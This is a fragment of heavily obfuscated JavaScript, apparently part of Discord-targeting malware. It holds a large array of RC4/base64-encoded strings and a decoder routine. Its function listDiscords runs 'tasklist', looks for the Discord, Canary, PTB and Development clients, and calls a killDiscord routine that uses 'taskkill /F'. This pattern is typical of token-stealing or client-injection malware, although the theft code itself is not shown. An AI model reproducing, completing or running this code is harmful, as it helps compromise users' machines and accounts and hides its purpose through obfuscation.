"W480dmkN", "c8ohr8kKW4S", "W4WXe8kMW5K", "W7CXWQm2W4u", "gXBcRmosna", "mSo+oXSd", "W4qhWQ7cIG", "r1is", "u3NcKsjA", "WR3dJSohWOddPG", "k8oxkZCz", "gvj2c2a", "WPldRghdGM8", "aCkZW5xcISoW", "FfhcHqf9", "W6XVgSonW4O", "WP7dM3iFoa", "yJGJfCoZ", "WPhdQSoqWPtdTa", "W4ryBhrd", "pNDUn3q", "lenKDd8", "wmktW4LRBq", "oNVcISoBFG", "W7OnWRBcTq8", "WOKWFmk7WPS", "W55TW6OHWQ4", "DCklrYtcVa", "tmolWRvIsa", "dmoofvJdIq", "W4H4De9b", "WQCFWPLNW68", "zJGJdCoO", "W40QiW", "WO8Zv3FcRW", "W7pcJYiFWPW", "WPBcVmkCWPNdNa", "wmkeW6jdxa", "WO0gD8kMWPa", "W6f6bmogW5C", "xGqW", "emkvWRJcNWa", "WOKNz8k8WPy", "iZVcQCkBzG", "mmkRWOpcRJ4", "WPGqWODmW5a", "WOyfWQjf", "W5rnvuDX", "cmowq8oVDq", "gCompgNcSG", "WOuwWQP8", "WQ/dHSoAWPC", "WO7cS8ksDW", "oSk0WPNcUdK", "qMRdO8oRrW", "W7pcRIqEWRi", "WPbhWOD3W74", "kSkhWPOdW5W", "W5bKyvzf", "W7FcIXdcHW", "qfvZ", "W6RdG19DvG", "WRK3vSk1WOW", "W4XazCklrq", "nwmQt8kg", "g2v6", "r1DyfYq", "W7SEWQ/cKXa", "bwLtlu4", "W70GWQ0", "W6hcVSo9WOan", "WRtcGtGtEW", "mSoVW5O7dW", "dMvjovy", "cmousmoNDW", "WROBWOHSW6i", "W4mEWQGzW6q", "WOCbB2dcSG", "WORcKWugCa", "W7u8WPFcGIW", "dSoiqCopFa", "uGq9", "uCoeWPXgBq", "tH4/cCoJ", "AuHMlHS", "WPryW784WQK", "W7euWRFcJJC", "W7FcSaSgWQC", "WQ0HzCkWWQ0", "ugfQmWu", "jvtcQ8oNsW", "W7tdJvzDhG", "jSkrW5uMW4C", "W4qcWPu0WRi", "lMrOhM8", "FLeEySoHms/cRHldRCkDW7W", "BuSli8kR", "dmoFzComyW", "W4tcNSkcWP4K", "cmoSnuBdNG", "WPJcPmkjWOJdKa", "W7hcSd4BWRK", "oH8SiLG", "trddH0vy", "W40Ucmk8W58", "W5tdPh5Gnq", "iHvjnCkT", "W4ZdLSoultW", "u0RcJCoyCG", "DtddO8oaWPK", "W4f/WQ16WRa", "WPezyCkhWQi", "W6/cR8orWPSz", "xW42Emo4", "hY/dO1Df", "jSodrSkFW4a", "WQ4FtmkXWRy", "W5SAWQmdWQ0", "fSoAE8ksW6C", "W5VdGe9ovG", "WQPZr8kMfW", "j8oJESoArW", "W4tdSCo0dr0", "D8oxzXiv", "W5GEWQ8sWQe", "BCkzW7Puzq", "fsPQiSkw", "cmojo24", "wf/cLaPd", "eMOpqmkC", "jatcTmo+fa", "W4ObWRxcLYO", "eSoocxddGa", "WO0WFmoOWRC", "W4GIbCk5W5i", "W4tdP1TPea", "W6xdMmoJWRWv", "W6fVb8khWOW", "W4CxWQGwWRa", "E29fW4dcPG", "W6vUyMzp", "gaqIfxy", "pmkeWPbfWOu", "xw1eW4BcJq", "W4/dTSobEMS", "WQBcS8ovWPfo", "W5JcI8ksWOhdMa", "WQm4CxRcJq", "dHGOdd8", "W6VcRaidWQ4", "r2bKjca", "WPdcQdWCBW", "pmkZWP4", "l1DspKa", "W4lcOSkEWOWi", "wd0ut8o2", "W7tcVSkjWPP0", "WQddLveljW", "aSkNWQqJW5e", "W5lcPmkeWQKW", "imkNWPOdW5W", "W4P9Evzf", "wXZdMum", "W73cNxVdOwq", "nSkeWPZcQWG", "fx/cTtOl", "W4ldGSkW", "iSk9WQueW4a", "jCo+pa", "xI3dP8o+WQy", "ktdcU8olBa", "W4FdIK9bvG", "W5CUdmk7W6u", "bh/cR8oyjG", "e3/cP8oPrq", "mb/dHuHw", "W7FcTde", "W4SzWQtdIxC", "W5/dJvriBW", "WPyYtgy", "cmoofxFdTa", "WPBdLCoqWP3dJW", "W4RdHuHj", "nhi9rCkz", "vxrxW6tcJa", "W5FcJmkC", "W4z6nrJdVq", "D8kZWO8Eoa", "WRWCWPmUWQW", "W6pdMmkIWPq6", "WRGytCk2W60", "WPmZt2dcSG", "Aw3cKq1v", "jwvQn1G", "smoOW5i3vG", "W4ddSuP4hq", "WRaWESk/WPW", "c8omig8", "DJWJ", "pCkiWPhcLWy", "sCouWR1Lwa", "qLfMW4lcGa", "gmkuW7xcLmoe", "W7dcRvJdPe8", "h0fhluC", "W53dV8oBndW", "W4pcI8kyWP/dKW", "W4CnWP3cVJG", "b8kSW6WIja", "W440WRJcSb8", "kCoKtG", "hfW+s8ka", "WO8jw3FcRG", "yfOFy1y", "s0Ogcwm", "WPpdSeGbhW", "FuDrcrm", "q0HWW5JcOa", "vmkKW4jQyq", "mSk8WOeVcq", "WOldSM4GlW", "wwbU", "WQXKxSkTbG", "w1D6W7hcOa", "iCo/qmoPFa", "e8o0CCkbW4S", "W5RcV8o/WQCt", "W580WRScW6K", "W5iaWRlcJW", "W4CyWOK8", "W5X4W6u4WRe", "mCkMW4HRdq", "WR0FWOX6W5W", "iCouBCkdWOm", "WPWdWQ80WOa", "WQldG8orW53dHG", "W5hdUhH5aW", "W5mKi8kbW58", "W5OpWP82WOy", "rIFdG8oXWPC", "W7dcRWKoWR8", "d3FcT8oEBG", "W7xdL8oEoXa", "rxP6kq", "DWO/amoW", "W43cQmkcWO8G", "yf5Ensq", "lZX+o8ko", "mIvWm8ox", "E8k0ydGu", "imoLxq", "ahFcSmoyma", "Cmo8WOPcAW", "ruhcGWS", "nW4JgwS", "qSkEW57cHq", "Dda8a8kK", "eqDwi8o0", "c8kAW5WUgq", "W67cTd0oWPO", "svGbEhq", "EmojWPDIAW", "qK5bW5VcSq", "W5hcPCkjWPO9", "cSksW4JcGCoA", "W5NcNr8oWR0", "W4TNCWus", "g35Jj3q", "kZVcUq", "WQ0nrCkUWRS", "y1r4W4hcUG", "W7JcI8k5WOldMG", "CtyGh8oc", "WQiKWRv6W64", "W7tcL8oNWRSr", "ytWXfmoN", "lCoaCZay", "WOdcMay8yW", "iGNdRuDj", "cSklnq", "eCkMW4mUoa", "dSkbW4yfbW", "w0Ggza", "W4uwWQmjWOy", "W50tWP0pW7m", "W4HMp8o/W7y", "lmoJBrqq", "W53dOSoEpI0", "uJxdLCoOWPC", "WR5DCCkJWRy", "nmkUW5SIba", "W7tcNCoXWQWY", "W6pdN8ohW4i", "W5FdI35+fa", "W7n9W78vWP8", "WOKVwZZcVa", "vMhcSILR", "W4xcLmkuWO7dMa", "W5rTbYldRmo6tSoeWRKjW4PY", "W7NdS0j+eG", "k8kEW5lcO8oz", "hSkuW4VcHCoQ", "W44hc8kvW6G", "kx0Qs8kk", "W5tcOmkmWOJdQW", "u8ohWRTqua", "W5ZdLvzieW", "k8kOW7FcPSop", "W6FcJmo4WRTA", "lmo4sHGt", "tvqzAu0", "W7xcL8ktWPNdMa", "WOWjw8k7WPy", "W7ldVKvPhG", "W4dcGMZdPhG", "pSkuWO/cSc4", "W4DzW6hcGJC", "W4xcNCkpWRhdQa", "ta49xSo6", "ubtcHrnv", "WOVcKCkbWOCW", "xg9BW5VcMW", "W70cWO4HW5i", "uZldSa", "W4q4WQdcPJi", "W7RdUSo1ib8", "W4TNC3LU", "WOazWQP1W40", "WQBcHmkWWOy1", "W7DAhmoHW58", "vJVdKCo6WPG", "WQddGmoFWPtdHW", "tKLTbSkt", "W4NdSKvQbq", "zSojWO8T", "eLHf", "nhSAt8kv", "fSkFWR0lW4u", "W4/cQmkaW5TM", "WRmcWPbJ", "tqhcJmo/Ea", "W6DMg8oi", "W4RdPujQga", "BmkiW5vUAW", "WR8Fj8k9dq", "WPa/r8kJWRq", "Dda3rSoI", "W5GHWR8FWQC", "W4ZdS1Lcoq", "cLL2c8kTsX7cUZFcOCozfgW", "E8oeqmoQFG", "W4fUW6GLWRa", "hZZdUuXf", "gSkDW4NcMSo5", "W6NdG2vuCq", "pXnfj8k2", "ydiiaCoV", "D8oOWQvbsW", "WR58Fmkaaq", "W68rWPVcVrW", "W69olau", "x8oxr1ldNq", "jmkQW50xpG", "iSkrxvFdTa", "aSojqs0S", "wmkMW7fuqa", "cCkjWPpcQJO", "W4pcVmkhWQddPa", "WOP3DCkjdW", "wfGhueq", "u2b7bb0", "WPiWymkVWOC", "W7ihWQ7cGta", "W6tcQWG", "cCkfWOtcVZS", "C35enYK", "jmkaWPq5W7G", "W74GWRlcGIS", "WQtdGCot", "Dq8HeJ0", "i8oXiKVcPG", "m8o0iJ8Q", "W4xdNeLFrW", "WO8Zw3FcUq", "nmo1pYGz", "r8oAWPvOrq", "kCoyECkdWO4", "W5yTgSkCW4m", "umoIWQfWEa", "iCoUymkuW4i", "WQVdG8ovWPq", "W45KCq", "WPBcQ8kjWOZdIq", "f8k1WPFcQcG", "vNDTfZ4", "W63dQ8ovWOFdSa", "W75VF1zd", "gCojwXyx", "WQ/dThu8ga", "W59ZW6m+WQO", "xL46W43cRa", "b1n6heO", "hZBdGfjj", "W77cV2NdVvG", "W4bZW5CbWQC", "mNy6w8ka", "durjmG", "gs3dPeum", "iCkOWQxcQJ8", "cKjha3i", "WR/dGmozWPBdJq", "rLhcKrfs", "WRaJWPbOW7C", "WPVdT8oDWPldGG", "a8kiW4O8bG", "WRWNB8k+WPy", "Bqqbzmo4", "r2bVkba", "WQalwCk4WPa", "cKjh", "W6ddV8oybc4", "jmotpteU", "gfnhlue", "xfJcLtbi", "mmkVWQBcLYO", "pGmDn3G", "WPRdGCoqW5/cSq", "DtiGDSoq", "W4CAWOOaW58", "AahcSSozlG", "h8oFwSkJW6a", "W4SfWQXTW40", "WPG6FmknWPi", "pmoDFmkfW4S", "w1dcLrTZ", "W5WaWQ8fWQe", "WPbaFmkkaq", "gb9sc8k4", "W5OfgSkSW5m", "W6NcUKVdLwK", "thhcHsLy", "cmobxSoVDa", "mmkAWOuxW4C", "lSo4kIKf", "W5/cTNBdVNW", "dIddUePn", "WPdcJd8wxG", "xINdSvrj", "W6LKemopW5O", "d8kvW4pcH8ob", "WP3dS20", "gSoiyCk+W48", "swPGW5RdTa", "W6StWQe7W7y", "q3LNW6RcRq", "kmoVbeVcNa", "D31OnXK", "FX0Dy2i", "mCoQwHWk", "n8krWPqbW64", "WQJdHmobWRBdOW", "W58HWQSCWO8", "cSoZd2RdRa", "s3RcPeDp", "W6NcK8o1WQyh", "nSoTpgNcPq", "WO5aC8kjeq", "dmo9iW0A", "WOKUuhtcQq", "W5RcJmkHWQpdMa", "W5RcL8kA", "emopjw7dMG", "x8klf3hdVG", "mCkzW7SmaW", "W40zWP03", "W5ZdVmofjdW", "W4yXgSoVWPC", "WPi8WPjkW4a", "WPZdRCk3WQS7", "W4iCWQe", "W7umW59yW4i", "kaDknSkR", "smoOWPXJFG", "vKpcLa", "kmkYW45ICW", "gmoWis4/", "jIdcU8ktja", "o8oJr8oC", "WRGeWRP+W6K", "W7C3WQiwWQe", "vL3cQabc", "WOVdPhu7", "W6HTuSk9mq", "wvhcNGrf", "tHW0aCoH", "nhyTwSk2", "W7FcR8oaWQyT", "WQqIWR9mW5u", "W615rwzf", "W5ZcOuBdG3G", "W7zsgSkGWQa", "oSk1WP/cUsq", "nCoZgZSr", "WQbxFmkyaa", "W7jVwxvk", "W4mPWPhcLty", "W77dLerJaG", "seKAFJK", "W4SBWQBdHZ0", "W7DkxK12", "WOXbEmkwjW", "hSkNW7pcK8ot", "W5P1W70UWPG", "WO1lBSkbcq", "wbuLyCoj", "k8ouzG", "WRxdRmobWPhdSG", "W4rRamolW6i", "oCoWxa", "aCkSWReTW5O", "W7GgWQCdWRa", "cf5pm0y", "gSojd2VdSW", "WPRdPSoIWPBdPa", "W4WKdCoVW74", "W5X0W6KKWOK", "W4n/bSoyW5S", "W6axWRKNW4q", "uK0b", "WQiyz8kRWOe", "W4lcV8kjWOKG", "W4hdVmozpJW", "lIv1k8ka", "W4tdO0Priq", "W7BcUH8ZWP4", "WOdcGtKn", "tmkhWOBcTCoL", "W7FdJ0LFvG", "BbiHt8k5", "gSo4cgldQa", "l3RcHSoNyW", "gCk6WParW58", "W5FcJmkyW43dMW", "W5lcVWihuq", "jCkQW44Vlq", "ydNdSSoHWRq", "W5/cLSkA", "awSEt8kC", "W6BcGCkbWQWx", "W4JdRM7dHMK", "WPhdRJLXxW", "lhyEwSka", "nYhcRCoB", "dNjdpeS", "jSkXAmoHzG", "vmkXW5rIyG", "fNpcOmojqG", "W7G2WQ0lWQW", "xdWKeCoR", "WPBcP05Nj1RdHbu", "l8o4oZmz", "Euvinbq", "n2nvoLa", "lSkdW78UmG", "yCkoW4GTiW", "WQqjqCkYWRe", "W5GxWRrrWOa", "W4zHnSoWW4tcP3RdLhiiWRCq", "WPuXvNhcUa", "De5AbbG", "uM3cPavg", "W43cQZy/fa", "W4tdRCoDWRqA", "W4mtWPWJW4C", "WROntx3cUW", "W4VcJWmeWQK", "W6xcRmkyWOKi", "lSofWR1xxG", "W4LVW687WRC", "bd9BbWJdI8kIBq", "WP0pB8khWRK", "WQvqEmkDeq", "EmoaWPTNEa", "dK5plfy", "hmoecxFdQa", "WOu9WOzWW7W", "eH/dPCo9WQG", "W48tWRiq", "WOuyWQ4", "dCkPW7GXpa", "WOD/smk3eq", "WR/cJ8oWWPldPq", "WOCTt37cPa", "fSoFEGmG", "WQO7BCkJWQ4", "WRWCWRbOW7e", "W6/cQmkyWP87", "j8kSWQO", "WPtdQh50vW", "WQtdK34Saa", "W4NdUeW", "kuvJua", "gCkXWPecW40", "WOJdVCo6WRldNa", "WPtdThH4ba", "dwtcP8oEzW", "xCksW4n/ja", "W7DDW70oWP0", "oSo0EmknW6G", "W5xcL8ktWP7dKG", "WR8jfCksWRa", "lmonjvpcJG", "oCkIWQRcNsu", "EmkuW5vL", "srqMuCoW", "W7DJgSopW5m", "nCo6oZmv", "avLpmq", "W5aAWQZcGGu", "W5iUfmkOW6W", "WReCWR5vW5m", "jmo3icOB", "W4RdOSohEc0", "iCkgWQCDW64", "WP8ZzvpcQq", "ueZcRdPq", "WR7dThC9ja", "W7hdO8oaodO", "WPWsB8k2WOW", "evdcUConyq", "wYOfnCok", "W58xW6GuWRW", "xmkjW4P3CW", "W6/dGhPfiG", "eMtcRmojAq", "d8knWPC9W6m", "o8oPab8W", "W4SYWOOWW48", "W6tcSXGk", "WRmUwMddVq", "W7yQf8kdW5u", "iIFcRq", "ceFcP8oxvG", "W6HfDuzT", "fmoOkIHw", "W5zOW6KKW7a", "tH7dSSoDWQu", "cCo6nruc", "ed3cSmoxlq", "W7BcM2/cNt0", "WRyZWPv7W4y", "gue0smo7", "iSoPnIOc", "W4NdMeC", "Ch17W4FcSW", "WRFdICkGW7HeW4FcMf7cKt12WPOu", "xIldIK1i", "W67cNCoXWQWr", "pmk0W7xcTa", "z8oLWQzktq", "f8o6E8opqW", "n8k4W4NcJSof", "WPaZumk2WRu", "B1ixxgG", "ALeAEKi", "WP8jWP1wW4G", "qmoBWPBdICk8", "W5hcRmkEWPSX", "mMlcSCkDBG", "CaVdR8oJWQK", "W6WeWO4LW4m", "W4BdP8ogjYO", "WRqSWRH7W6y", "WQ8sw8kXWQ0", "cSkzW4tcSSoN", "kCkjW5tcJ8oe", "wuz/lWG", "W4aaWQFcGtW", "W53dTSogfIW", "WROdWPbOW7C", "wG7dUmo0WQS", "W4DhDxnv", "qtGMd8oQ", "D3aCB2m", "W5RdVmoHiYS", "r8o/WOT0FG", "WObyW4e", "eYNdVuHd", "W5RcNCktWORdIq", "l2eNsCkB", "jcJdI0rP", "WR5jDmkjdq", "WOpcHI8mAW", "a8kWW5tcUmoG", "k8o1zmkIW4K", "imk1W54tpG", "W5WnbSkLW68", "W5SKda", "uejIcbm", "W7JdI8oBnGO", "dCkpW4FcVmoM", "rwpcGYHx", "WOW6y8kTWQ8", "wvhcRcbz", "dNpcRCoACG", "WPDlCCkhcW", "W4SFtx3cQG", "q1fXW4BcPW", "mmo5oexcUq", "hSofnN7cKW", "W4BdNmo0drq", "WOS2w3VcRW", "etnvnSkR", "e8ooo0FdTa", "WOqFWO5tW7O", "W5pcOK/cHYG", "oSobCCkhW5O", "WOPxWRPTW5K", "fSohaItcRq", "dJNdUKG", "A0nEW6BcGa", "gmo/y8kQW4G", "WPNdRwS0dG", "WPq4xNBcUq", "W5bVvuro", "ACkrW48ICW", "EMj9W4NcHW", "kCoUrXav", "yauffCoH", "i8oECG", "WO4Ps2lcRG", "W4utWPy", "WONcHqy", "DMWgC8o5", "a8kmW7VdMSkm", "nc3dSvra", "o8ouBCksWOe", "xSk3W4rbva", "W6pcT2ldV0K", "WROtWPP9W7a", "khOGsCos", "xL9LW53cSq", "vGWfaCot", "W6lcNSorWQW7", "tCoJWPzHBG", "WROqvNhcRW", "W4dcJsmUWOy", "W5lcGCkjWPRdIG", "pmouz8k6W7S", "r2Car1m", "gCofiuVcOG", "gmkcW5BcHq", "pmkfWPpcIcm", "ubejwmoq", "kt3dNuny", "cX1vla", "WO0rDmkvWPi", "W4JcNCoKWR8B", "WQ/dGNLbsW", "W79kW74aWQK", "mCoPt8oLyG", "cSoJax3dSq", "nZnJymkt", "WQJdL8oDWOddPq", "aSk9W4aiba", "WP8HBW", "i8kNW7SQda", "WPlcGsGaxG", "W4dcUCknWRqe", "jCkRW4y4ca", "DJKot8oS", "W4tcNCkoWOldKq", "qbC2DSou", "p8otmhJdTW", "cJKLg04", "WOiSsJ3cVG", "WOldTwmqfG", "obmLe1W", "W4ZdU05r", "o8k0WOlcRdG", "WRhdKdS", "W4CyWOG", "WQyCWPzTW6y", "WOtcLdS5uG", "BSkoW4PPyq", "FmkbCmkmW7HOW7hdLG", "W4WKFfzp", "WPC7Aq", "BCobW5n9ya", "kYdcGG", "lSkzWQy8W4a", "WPhdUSohWPBdOW", "DL1EW43cMW", "WRdcM3JdQYC", "W48dWRnEWRC", "a3y2sSk2", "W6vDW6i4WRK", "kmoujuxcSq", "WPeNASkxWOu", "f8k7WRHfW4S", "WPOhD8kWWRu", "W4lcSJq6fq", "d8ovqmoSwW", "f8oXfYW/", "yea6qCka", "WPCBs0JcJW", "dXfroSkU", "W5WXnSkLW5e", "W7BcUH9pWO8", "i8ounCouW7i", "qLVcGGHT", "oYNdH0H8", "qIGDhmom", "WOaYtvFcVa", "W5eGeSkQ", "WRuWWQz2W58", "gCoefuhdVq", "cSksW4hdGmoq", "BLXcW5RcTG", "WRe7rmkAWO7dRM9iW6ZdJ8o+W7zI", "FIqgCCoy", "W4SYWPONW7m", "W5RdG1fEvG", "W4JcU0NdK3i", "W4tcNCkmWPJdMa", "r2Tkibi", "avigwmk/", "WPa+WRrAW6W", "vG83uSo1", "lMaHqSkx", "W7jUhCozW50", "W7dcI3ZdVNe", "WOVdUSo+WPddLa", "yc3dPCo9WRW", "W75jzerw", "xINdTSooWO8", "WRWEWPXIW7y", "kSoIESkaW5O", "W6OFWPWWW4K", "x8oNW5BdVM0", "W4OVd8k9W5u", "iSkgWRS9W4K", "fSkgWO0xW4e", "WQhdGmot", "WQqZWPPbW7K", "pCo/sW", "W5hcTWevWRW", "WP8WFCoLW4e", "eSoZmLpcJW", "o8kGW4G", "dey0W6BcLq", "laiJg3i", "WRWEWPGUW6q", "W7hdJmocjty", "WRrizmkNla", "W69UW4eJWPK", "tHVdO8oiWO0", "zYJdVSoJaW", "d8kjW4pcGCoc", "baxdGLigW4hdRmohf2hcUs0", "lSofFCkvWOa", "x1BcTJL1", "yem8qCku", "rM4KAv0", "vWuHrCoB", "caZcLmobnW", "WPH8x8kuea", "W6pcLSoM", "yHSij8om", "WPBcTtj4", "W6tdG0vmxW", "nSoUwXKa", "WOJdKaz7CG", "hYVdRhXa", "b2lcTmosDa", "WO83WRpcIc4", "d8kaihRcSW", "WPqzBx3cRq", "ig7cSmoqCG", "xgrCorC", "W6VcTYibWOu", "atWPlKK", "kCoYit1w", "pLhcRmosyq", "o8ktW4/cLSoq", "W6ldM0zjmG", "jmo9tCoPFa", "WO3cJYKrxq", "a8ommctdUq", "W4tdIxPUwW", "W5G2pCkJW6m", "WQuFWP5OW4S", "W5BdVKnmfq", "W4ydpCk2W5W", "cCkxWOtcSsS", "W5fGyKPq", "qmoIWOuSlG", "e8o/CmksW5K", "W7FcUX4", "WOpcJYGGyW", "W4ebWQ7cLxe", "WQ0qumkDWRq", "W6RdSCorprO", "de7cSSoutW", "W73cNCkEWOCY", "qLeqiJ8", "W6n+W7CVWQK", "bN8hy2y", "aSovfrKF", "WPiYBgBcRW", "W65UeCosW7W", "nSoUwYS0", "WOGJWR1IW6OnstHzW7tdSW", "jCkJW5rICW", "mSoKwXW9", "bvnEoG8", "j8oNWRlcVZK", "eCkJWO8sW44", "W4ldTSkszGu", "pSo4zmorCW", "W61jbCo7W44", "pZjlnmkF", "W6/cNCkLWQus", "kYezb30", "WPFcTIOMBW", "o8kQW7miaW", "cmoGy8kHW6u", "WOuEWQKw", "W4OxWPSYW7O", "jJJcQ8ow", "W5FdS3TzmW", "jwSNxCkg", "W4eAWRpcGWu", "kb5pimkT", "d8owfs4I", "W4mhWRJdItW", "wu4nE3C", "W5JdMvvf", "WO8Zwa", "rCoGWPDBFa", "wfWh", "jhHJgwK", "fSomhL3dRG", "kCoacKBdQq", "W6WqWRxcKdy", "W5pdTKD4fa", "re4AAMu", "r1GBA2u", "W4SUlmk7W4G", "W5NdR0nIsq", "wu5WfJO", "W53dTSoacWW", "WOnQE8kSaW", "WPKbnGua", "lmojow/cHa", "iNtdQ8oV", "B8o+nZ8", "W68AWQ4eW7y", "Ca7dKa", "ufJcNXnC", "th9+cJy", "cfLjneS", "W4FdGemdza", "rtRdPmoiWQW", "mSoXwc80", "W5D/Cb0", "WOhcHsK", "dgZdJufy", "AwhcGWzd", "gCk2WParW5W", "WPhdSx54qW", "W6NdGM43uq", "pJRcVq", "CdGJa8kY", "jmoJjIKc", "W6NcISo0WPCc", "iNy6wSkx", "De8as8kg", "emk/WOCMW4S", "WQ8EWQv8W6S", "fSofa2hdPa", "WRmFWO1lW6i", "pmoLsG", "W6e/r8kTWRu", "W7qjl8kvW7a", "hCobj2/cIW", "W44gWReEWRy", "W6JdU25xfa", "qmoOWOe", "W67cUHq", "e8oODmkiW4O", "W4zFoCoUW6G", "WP3dR2K3bq", "W48QWR8HW4K", "W63cM3VdJ28", "vZldPmoMWOa", "WQq8tetcMG", "ACkrW5zHFq", "W4/cTJGiWOC", "fmoVbdGB", "W6tdKmo2ndu", "tX0hzxi", "W4xcSZikDq", "W6b5D1nf", "W4zdiCoCW5i", "mSkHW5K", "imkAWPewW78", "W4rJb8ojW5e", "WPe7ySkHWP0", "WRnuzCkAla", "W7ldV0aHWQO", "bSo/WPDWFW", "h8kqWPySW5W", "nSkyWPWgW40", "bZBdSmoH", "W7jLa8ozW5S", "WO8lv0FcQW", "WQZdM8orW5pdTW", "W7umW59BW5a", "qKLGW5RcOq", "nqJcI8oajW", "mNqDa8oP", "W6pdTCoIab4", "pmkOWPJdVMO", "W4SEfmkQW4m", "wXmfFYa", "W7eKf8kvW64", "kaiLp3S", "W53dN0nFxq", "iwCV", "WPhdOmoeWPBdOW", "b8ocE8opqa", "WQhdISoOWRddUq", "W74CWPyBWRu", "W6D4oSoYW58", "wN1TjrK", "cX1vlYe", "l8o/kIi0", "ztxdTmoHWPC", "jNOGt8kE", "gsObzmkJ", "uGyYuCo/", "W4T0WQ0JWRy", "sCoOWOf0AW", "W6yCWRlcHdy", "j8o9rCoJDW", "e8oZz8khW5G", "hLnvkWi", "yhT5W7VcPa", "dmoOo3RcVG", "W4lcUHKSWQq", "W6PJW6m0", "umkUW5zpqq", "WQVcGtCaiG", "mmkZWOhcSt8", "gSofbhBdPq", "n3i8s8kU", "WO7dVCoXoJ0", "aSojo23dTW", "vqObimo9", "r2xcSJbg", "xcaQk8oV", "W57cOmkyWP7dKG", "nSk1WPpcVZK", "tcGkumox", "WOZdMmkWW6Hu", "rhlcHdLJ", "d8odaNBdTq", "W6FcISo5WQ0h", "W4pcPmkcWOW", "WOhdMeKOeW", "dhWTt8kE", "pSkpW6NcUmoX", "dCoyh3pdUG", "W5OXWQm+WR4", "W5XFb8opW4W", "iZ3cRCoqlq", "xK4qFN8", "eCoPr8oRDG", "W63dLgb7qW", "t3uIrwe", "p8kiW5u5gq", "W4LwWOGYW4S", "vMhcMtbG", "WOxdRSo3WRNdVW", "W7RcS8oDjta", "z8ksW7LUDG", "W63dK8kuWR3dKa", "WRaEWOS", "W485WPmuWOy", "kq45c20", "W4axWRJcLc0", "pdWOaW", "WPRdRGRcG34", "dSkEW74Fhq", "WPldL108jW", "W6tcJsOIWPG", "cfb2dmkUr2tcQWlcJCobaG", "WOJdISoUWPFdLa", "rr1DAMq", "W74IWRWFWPy", "WR4su8kRWQ4", "nCo+wH8", "t33cSfr/WOFcImktW4S", "AvimFhq", "W4JcOCkjWRST", "W4SUimkq", "svGhshq", "pmkRWPpdVMa", "WONcLCku", "gSomngpcUq", "WOy1WRnlW4a", "W6tdH3Tjma", "pCkOWOxcQHi", "WQBcLsGxzW", "DSoIWPzSrW", "W4FdTmoxjGK", "W5iEWQpcTbi", "jvCRtCkB", "WPBcTZmrAG", "emoycgldQa", "m8oUrrGr", "WP7cNxqgBq", "WP3dTuOIbG", "lJJcU8oGoW", "nmomdwVdMW", "eSoigbuK", "WPLMWQ0hWP8", "dv9koGi", "yL9GW5/cUW", "Bf/cNHD4", "thqLBxK", "D2GgAwm", "W5ZcOvJdONW", "WOX7imoM", "WROLw8oiW5W", "fc3cSmoq", "BmkXW6TcxG"];
- a0_0x4c0d = function () {
- return yl;
- };
- return a0_0x4c0d();
- }
- ;
- function listDiscords() {
- const ym = {WUQhr: function (yn, yo, yp) {
- return yn(yo, yp);
- }, AwgVz: "DiscordPTB", sCPrk: function (yq, yr) {
- return yq === yr;
- }, ikUxk: "AAHvM", uINmN: "puTgv", Jaxtl: "Discord\.exe", oJyXs: function (ys, yt) {
- return ys !== yt;
- }, DDcBp: "pUOsO", QctSf: "igyYr", gpRhz: "Discord", gVIyS: "DiscordCanary\.exe", bkTvS: function (yu, yv) {
- return yu === yv;
- }, DvRBe: "GiGDo", gYTfw: "DiscordCanary", TeEYa: "DiscordPTB\.exe", zLFCe: function (yw, yx) {
- return yw !== yx;
- }, xjvJW: "Exkkd", ffuii: "UnPjq", IRKuG: "DiscordDevelopment\.exe", plqja: function (yy, yz) {
- return yy !== yz;
- }, apfAQ: "PHZgV", PXWeo: "DiscordDevelopment", KHPZJ: function (za) {
- return za();
- }, EKJUh: "tasklist"};
- ym["WUQhr"](exec, ym.EKJUh, function (zb, zc, zd) {
- const ze = {};
- ze["JybXK"] = ym.AwgVz;
- const zf = ze;
- if (ym.sCPrk(ym["ikUxk"], ym["uINmN"])) return ""; else {
- if (zc.includes(ym["Jaxtl"])) {
- if (ym["oJyXs"](ym.DDcBp, ym["QctSf"])) runningDiscords["push"](ym["gpRhz"]); else {
- if (_0x277daf) _0x458e10["log"](_0x5d35ee);
- return;
- }
- }
- zc["includes"](ym.gVIyS) && (ym["bkTvS"](ym["DvRBe"], ym["DvRBe"]) ? runningDiscords["push"](ym["gYTfw"]) : ym["WUQhr"](_0x448e95, "taskkill /IM\ " + _0xc347bf + ".exe /F", zg => {
- if (zg) {
- if (_0x2006b6) _0x30f710["log"](zg);
- return;
- }
- }));
- if (zc["includes"](ym["TeEYa"])) {
- if (ym["zLFCe"](ym["xjvJW"], ym["ffuii"])) runningDiscords["push"](ym.AwgVz); else {
- if (_0x462c62) _0x5aa123["log"](_0x319da6);
- }
- }
- ;
- zc["includes"](ym["IRKuG"]) && (ym["plqja"](ym["apfAQ"], ym["apfAQ"]) ? _0x173c8e["push"](zf["JybXK"]) : runningDiscords.push(ym["PXWeo"]));
- ;
- ym["KHPZJ"](killDiscord);
- }
- });
- }
- ;
- function a0_0x5a57(zh, zi) {
- const zj = a0_0x4c0d();
- return a0_0x5a57 = function (zk, zl) {
- zk = zk - 135;
- let zm = zj[zk];
- if (a0_0x5a57.zIPImn === undefined) {
- var zn = function (zs) {
- const zt = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
- let zu = "", zv = "", zw = zu + zn;
- for (let zx = 0, zy, zz, aaa = 0; zz = zs.charAt(aaa++); ~zz && (zy = zx % 4 ? zy * 64 + zz : zz, zx++ % 4) ? zu += zw.charCodeAt(aaa + 10) - 10 !== 0 ? String.fromCharCode(255 & zy >> (-2 * zx & 6)) : zx : 0) {
- zz = zt.indexOf(zz);
- }
- for (let aab = 0, aac = zu.length; aab < aac; aab++) {
- zv += "%" + ("00" + zu.charCodeAt(aab).toString(16)).slice(-2);
- }
- return decodeURIComponent(zv);
- };
- const zr = function (aad, aae) {
- let aaf = [], aag = 0, aah, aai = "";
- aad = zn(aad);
- let aaj;
- for (aaj = 0; aaj < 256; aaj++) {
- aaf[aaj] = aaj;
- }
- for (aaj = 0; aaj < 256; aaj++) {
- aag = (aag + aaf[aaj] + aae.charCodeAt(aaj % aae.length)) % 256, aah = aaf[aaj], aaf[aaj] = aaf[aag], aaf[aag] = aah;
- }
- aaj = 0, aag = 0;
- for (let aak = 0; aak < aad.length; aak++) {
- aaj = (aaj + 1) % 256, aag = (aag + aaf[aaj]) % 256, aah = aaf[aaj], aaf[aaj] = aaf[aag], aaf[aag] = aah, aai += String.fromCharCode(aad.charCodeAt(aak) ^ aaf[(aaf[aaj] + aaf[aag]) % 256]);
- }
